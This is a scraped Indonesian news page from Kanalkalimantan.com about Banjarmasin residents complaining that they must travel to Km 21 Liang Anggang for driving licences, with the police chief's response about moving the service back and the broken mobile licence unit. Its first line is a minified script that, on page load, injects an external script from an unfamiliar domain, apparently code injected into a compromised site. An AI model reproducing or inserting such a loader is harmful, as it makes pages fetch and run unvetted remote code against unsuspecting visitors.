(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Keluhan Warga Bikin SIM Harus ke Km 21 Liang Anggang, Ini Tanggapan Kapolresta Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Masyarakat Kota Banjarmasin mengeluhkan jauhnya jarak pelayanan pembuatan Surat Izin Mengemudi (SIM) di kantor Satpas Jalan A Yani Km 21 Liang Anggang Kota Banjarbaru.

Keluhan tersebut disampaikan warga saat kegiatan Jumat Curhat bersama Kapolresta Banjarmasin di Terminal Pal 6, Jumat (19/1/2024) siang.

Menanggapi itu, Kapolresta Banjarmasin Kombes Pol Sabana Atmojo mengaku sebelumnya juga banyak mendengar keluhan yang sama dari masyarakat.

Baca juga: Kampanye di Kalsel, Prabowo Disambut Ribuan Pendukung di GOR Rudy Resnawan Banjarbaru

Pihaknya, kata Kombes Sabana akan mengusahakan agar Satpas SIM bisa dikembalikan ke Banjarmasin agar masyarakat Kota Banjarmasin tak lagi menempuh jarak puluhan kilometer ke Banjarbaru.

“Kami usahakan untuk mengembalikan SIM ke sini, karena gedung yang di sini masih cukup luas,” katanya.

Dalam kesempatan tersebut, Kapolresta Banjarmasin juga menanggapi terkait layanan mobil SIM Keliling yang saat ini sudah tidak pernah terlihat beroperasi lagi.

Baca juga: Beli 1.359 Kopiah di Sekumpul Tak Kunjung Bayar, Lelaki dari Amuntai Ditangkap Polisi

Sabana mengungkap jika mesin SIM Keliling yang biasa digunakan melayani masyarakat saat ini kondisinya sedang rusak dan sampai saat ini belum bisa dipergunakan.

“SIM Keliling kita belakangan memang ini rusak,” aku Kapolresta.

Kombes Sabana menjelaskan, pihaknya telah berusaha memperbaiki kerusakan tapi tidak bisa. Perbaikan kata Sabana masih menunggu dari pusat dan sebelumnya pihaknya telah menyurati Mabes Polri.

Baca juga: Pj Bupati Kapuas: Terus Pantau Banjir di Enam Kecamatan, Status Bencana Dinaikkan

“Maintenance-nya bukan dari kita tapi dari Mabes Polri. Kami menuggu dari sana (Mabes Polri) sudah bersurat agar segera dibenahi,” katanya.

Pada kegiatan Jumat Curhat di Terminal Pal 6 juga dihadiri jajaran Pejabat Utama Polresta Banjarmasin, Forum Koordinasi Pimpinan Daerah (Foropimda) Kota Banjarmasin, dan berbagai kalangan masyarakat.
(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Digital Entrepreneurship Academy di HSU, Up Skilling untuk Calon Pelaku UMKM

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka pelatihan Digital Entrepreneurship Academy… Read More

11 jam ago

Penentuan Lokasi Transmigrasi Lokal Warga Terdampak Banjir, Ini Kata Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar rapat terkait penentuan lokasi rencana transmigrasi… Read More

11 jam ago

Optimalisasi Polder Alabio Salah Satu Prioritas dalam Musrenbang RKPD 2026

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana… Read More

12 jam ago

Jelang Coblosan Ulang, Pj Wali Kota: Serahkan Semua kepada Masyarakat, Jaga Netralitas ASN!

KANALKALIMANTAN.COM, BANJARBARU - Penjabat (Pj) Wali Kota Banjarbaru Subhan Nor Yaumil memimpin rapat koordinasi (Rakor)… Read More

15 jam ago

Perhatian Khusus Kasus Juwita, Komnas HAM Kumpulkan Fakta Lapangan

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Nasional Hak Asasi Manusia (Komnas HAM) Republik Indonesia (RI) Uli… Read More

15 jam ago

Komnas HAM RI ke Banjarbaru Penyelidikan Kasus Juwita

KANALKALIMANTAN.COM, BANJARBARU - Kasus pembunuhan berencana yang dilakukan Jumran, Anggota TNI AL Lanal Balikpapan terhadap… Read More

19 jam ago